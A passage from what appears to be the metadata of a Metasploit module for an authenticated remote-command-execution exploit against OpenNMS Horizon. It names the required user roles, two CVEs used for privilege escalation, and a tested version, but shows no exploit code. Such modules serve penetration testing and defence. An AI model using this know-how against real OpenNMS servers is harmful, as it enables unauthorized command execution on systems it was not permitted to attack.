'Name' => 'OpenNMS Horizon Authenticated RCE',
'Description' => %q{
This module exploits built-in functionality in OpenNMS
Horizon in order to execute arbitrary commands as the
opennms user. For versions 32.0.2 and higher, this
module requires valid credentials for a user with
ROLE_FILESYSTEM_EDITOR privileges and either
ROLE_ADMIN or ROLE_REST.
For versions 32.0.1 and lower, credentials are
required for a user with ROLE_FILESYSTEM_EDITOR,
ROLE_REST, and/or ROLE_ADMIN privileges. In that case,
the module will automatically escalate privileges via
CVE-2023-40315 or CVE-2023-0872 if necessary.
This module has been successfully tested against OpenNMS
version 31.0.7
